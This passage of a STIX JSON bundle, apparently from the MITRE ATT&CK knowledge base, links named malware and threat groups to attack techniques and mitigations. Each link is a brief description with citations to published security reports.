            "relationship_type": "uses",
            "id": "relationship--b847cd82-14c8-4270-b03d-2acf3abda4b6",
            "type": "relationship",
            "modified": "2021-04-21T15:05:48.924Z",
            "created": "2021-04-21T15:05:48.924Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "CISA Supernova Jan 2021",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a",
                    "description": "CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021."
                }
            ],
            "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) contained Base64-encoded strings.(Citation: CISA Supernova Jan 2021)",
            "relationship_type": "uses",
            "id": "relationship--c73f0de0-1fbb-44e6-ac51-95bf21ea4018",
            "type": "relationship",
            "modified": "2021-04-21T15:05:48.910Z",
            "created": "2021-04-21T15:05:48.910Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d",
            "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from the Windows Credential Manager.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--d041fce9-6e05-4f74-a97e-c71f1b270fb8",
            "type": "relationship",
            "modified": "2021-04-22T13:40:21.174Z",
            "created": "2021-04-22T13:40:21.174Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has the ability to remove values it writes to the Registry.(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--547a5baa-6f40-4fba-801d-2099b5cb29b1",
            "type": "relationship",
            "modified": "2021-04-22T13:46:15.370Z",
            "created": "2021-04-22T13:46:15.370Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94",
            "external_references": [
                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."
                }
            ],
            "description": "(Citation: Cybereason Kimsuky November 2020)",
            "relationship_type": "uses",
            "id": "relationship--5a85a31a-f5dd-4058-87d3-bb0b6fcfffb3",
            "type": "relationship",
            "modified": "2021-04-22T13:50:46.735Z",
            "created": "2021-04-22T13:50:46.735Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
            "external_references": [
                {
                    "source_name": "Lastline DarkHotel Just In Time Decryption Nov 2015",
                    "url": "https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/",
                    "description": "Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that repeatedly checks the mouse cursor position to determine if a real user is on the system.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)",
            "relationship_type": "uses",
            "id": "relationship--118b2047-826a-4ab0-94b8-69d35a4c8592",
            "type": "relationship",
            "modified": "2021-04-22T15:09:14.852Z",
            "created": "2021-04-22T15:09:14.852Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
            "relationship_type": "mitigates",
            "description": "Restrict write access to the /Library/Security/SecurityAgentPlugins directory.",
            "id": "relationship--a6aad172-c44b-4d21-9bf3-bb9c2dce2f67",
            "type": "relationship",
            "modified": "2021-04-26T20:08:32.578Z",
            "created": "2021-04-22T21:09:35.789Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
            "relationship_type": "subtechnique-of",
            "id": "relationship--bb6f2e41-2f67-49e7-ade1-490abeb9274a",
            "type": "relationship",
            "modified": "2021-04-23T01:04:57.259Z",
            "created": "2021-04-23T01:04:57.258Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
            "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "external_references": [
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."
                }
            ],
            "description": "[Hikit](https://attack.mitre.org/software/S0009) has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component.(Citation: FireEye HIKIT Rootkit Part 2)",
            "relationship_type": "uses",
            "id": "relationship--3c92afd0-50e1-42a7-97e0-6cec9b4f40cb",
            "type": "relationship",
            "modified": "2021-04-23T01:52:58.529Z",
            "created": "2021-04-23T01:52:58.529Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                }
            ],
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has enabled the <code>TESTSIGNING</code> boot configuration option to facilitate loading of a driver component.(Citation: F-Secure BlackEnergy 2014)",
            "relationship_type": "uses",
            "id": "relationship--2856e2ad-4fcd-483a-85bb-99fe8304ee8d",
            "type": "relationship",
            "modified": "2021-04-26T15:59:03.327Z",
            "created": "2021-04-23T02:01:06.668Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "external_references": [
                {
                    "source_name": "Unit42 AcidBox June 2020",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
                },
                {
                    "source_name": "GitHub Turla Driver Loader",
                    "url": "https://github.com/hfiref0x/TDL",
                    "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has modified variables in kernel memory to turn off Driver Signature Enforcement after exploiting vulnerabilities that obtained kernel mode privileges.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)",
            "relationship_type": "uses",
            "id": "relationship--d3d8b77f-d830-4f61-aa2e-bec783fc84f4",
            "type": "relationship",
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        },
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            ],
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            "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "relationship_type": "mitigates",
            "description": "Use of Secure Boot may prevent some implementations of modification to code signing policies.(Citation: Microsoft TESTSIGNING Feb 2021)",
            "id": "relationship--a1dda2bd-b47b-42b3-a7e5-dd58cfac1e15",
            "external_references": [
                {
                    "source_name": "Microsoft TESTSIGNING Feb 2021",
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option",
                    "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-26T15:41:39.395Z",
            "created": "2021-04-23T03:55:22.534Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for the Registry to prevent users from modifying keys related to code signing policies.",
            "id": "relationship--f32c486c-37f6-48c2-bdff-f9468d7b9601",
            "type": "relationship",
            "modified": "2021-04-26T15:41:39.412Z",
            "created": "2021-04-23T03:55:22.538Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "source_name": "ESET Ebury Oct 2017",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) has used Python to implement its DGA.(Citation: ESET Ebury Oct 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--c1806927-2279-4597-ada9-e0c06b65b7eb",
            "type": "relationship",
            "modified": "2021-04-23T22:56:14.733Z",
            "created": "2021-04-23T22:56:14.733Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has executed a Lua script through a Lua interpreter for Windows.(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--e3c9ddee-8ace-4847-81ea-f7dfb8936d3b",
            "type": "relationship",
            "modified": "2021-04-24T21:20:31.474Z",
            "created": "2021-04-24T21:20:31.474Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used various JavaScript-based backdoors.(Citation: ESET Turla Mosquito Jan 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--0c4e4578-3bb1-4c9a-9dc8-af3b7368ada9",
            "type": "relationship",
            "modified": "2021-04-25T15:37:07.362Z",
            "created": "2021-04-25T15:37:07.362Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) appeared as a scheduled task impersonating systems management software within the corresponding ProgramData subfolder.(Citation: MSTIC NOBELIUM Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--bf672181-ef16-4d3a-a587-9ac82ac87b8a",
            "type": "relationship",
            "modified": "2021-04-25T21:45:21.080Z",
            "created": "2021-04-25T21:45:21.080Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "source_name": "FireEye SUNSHUTTLE Mar 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html",
                    "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."
                }
            ],
            "description": "[GoldMax](https://attack.mitre.org/software/S0588) has been packed for obfuscation.(Citation: FireEye SUNSHUTTLE Mar 2021)",
            "relationship_type": "uses",
            "id": "relationship--0bb1573c-f30f-449c-931e-c5de024e96f8",
            "type": "relationship",
            "modified": "2021-04-25T21:45:21.073Z",
            "created": "2021-04-25T21:45:21.073Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used JavaScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: ClearSky MuddyWater Nov 2018)(Citation: FireEye MuddyWater Mar 2018)",
            "relationship_type": "uses",
            "id": "relationship--435c288d-1e10-4610-bf41-531390e5a650",
            "type": "relationship",
            "modified": "2021-04-25T23:26:10.590Z",
            "created": "2021-04-25T23:26:10.590Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688",
            "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
            "external_references": [
                {
                    "source_name": "Proofpoint LookBack Malware Aug 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks",
                    "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."
                }
            ],
            "description": "[LookBack](https://attack.mitre.org/software/S0582) can shutdown and reboot the victim machine.(Citation: Proofpoint LookBack Malware Aug 2019)",
            "relationship_type": "uses",
            "id": "relationship--66d53000-135b-448d-988a-3ff5d53b2c5b",
            "type": "relationship",
            "modified": "2021-04-26T13:29:32.712Z",
            "created": "2021-04-26T13:29:32.712Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c",
            "relationship_type": "mitigates",
            "description": "Limit the usage of local administrator and domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries.",
            "id": "relationship--482ec859-f060-4131-a17f-5695587853e1",
            "type": "relationship",
            "modified": "2021-04-26T15:41:39.451Z",
            "created": "2021-04-26T15:32:17.862Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                }
            ],
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has removed the watermark associated with enabling the <code>TESTSIGNING</code> boot configuration option by removing the relevant strings in the <code>user32.dll.mui</code> of the system.(Citation: F-Secure BlackEnergy 2014)",
            "relationship_type": "uses",
            "id": "relationship--12c761e7-f026-4e14-80fb-da9f4cb0ca38",
            "type": "relationship",
            "modified": "2021-04-26T15:59:03.129Z",
            "created": "2021-04-26T15:59:03.129Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "wardle evilquest partii",
                    "url": "https://objective-see.com/blog/blog_0x60.html",
                    "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."
                },
                {
                    "source_name": "reed thiefquest ransomware analysis",
                    "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/",
                    "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."
                }
            ],
            "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uploads files via unencrypted HTTP. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)",
            "relationship_type": "uses",
            "id": "relationship--30496669-0d01-4855-b566-6d5bfd9c97c1",
            "type": "relationship",
            "modified": "2021-04-26T20:02:14.115Z",
            "created": "2021-04-26T20:02:14.115Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can upload files over the C2 channel.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--a1c31042-ca50-4bcc-bd05-20eb48c655ef",
            "type": "relationship",
            "modified": "2021-04-27T01:47:15.612Z",
            "created": "2021-04-27T01:47:15.612Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to collect information from the local database.(Citation: ClearSky Lebanese Cedar Jan 2021) ",
            "relationship_type": "uses",
            "id": "relationship--33deb846-1334-4eb7-98fc-faff39b3ad16",
            "type": "relationship",
            "modified": "2021-04-27T01:47:15.641Z",
            "created": "2021-04-27T01:47:15.641Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to call the OpenClipboard wrapper.(Citation: CheckPoint Volatile Cedar March 2015)  ",
            "relationship_type": "uses",
            "id": "relationship--afcc8ef7-cc5e-4e3b-a430-acafb12f5844",
            "type": "relationship",
            "modified": "2021-04-27T01:56:35.803Z",
            "created": "2021-04-27T01:56:35.803Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                }
            ],
            "description": " [Explosive](https://attack.mitre.org/software/S0569) has collected the MAC address from the victim's machine.(Citation: CheckPoint Volatile Cedar March 2015) ",
            "relationship_type": "uses",
            "id": "relationship--00038d0e-7fc7-41c3-9055-edb4d87ea912",
            "type": "relationship",
            "modified": "2021-04-27T01:56:35.810Z",
            "created": "2021-04-27T01:56:35.810Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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                    "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."
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            "description": "[Pysa](https://attack.mitre.org/software/S0583) has deleted batch files after execution. (Citation: CERT-FR PYSA April 2020) ",
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                    "source_name": "CISA AppleJeus Feb 2021",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584)'s spearphishing links required user interaction to navigate to the malicious website.(Citation: CISA AppleJeus Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--fbe555c3-5c7b-44e7-a48f-293bdae9de0c",
            "type": "relationship",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": ".bash_profile and .bashrc Mitigation",
            "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1156",
                    "external_id": "T1156"
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            ],
            "object_marking_refs": [
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            "type": "course-of-action",
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            "name": "Access Token Manipulation Mitigation",
            "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1134",
                    "external_id": "T1134"
                },
                {
                    "source_name": "Microsoft Create Token",
                    "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.",
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object"
                },
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                    "source_name": "Microsoft Replace Process Token",
                    "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.",
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token"
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            "name": "Accessibility Features Mitigation",
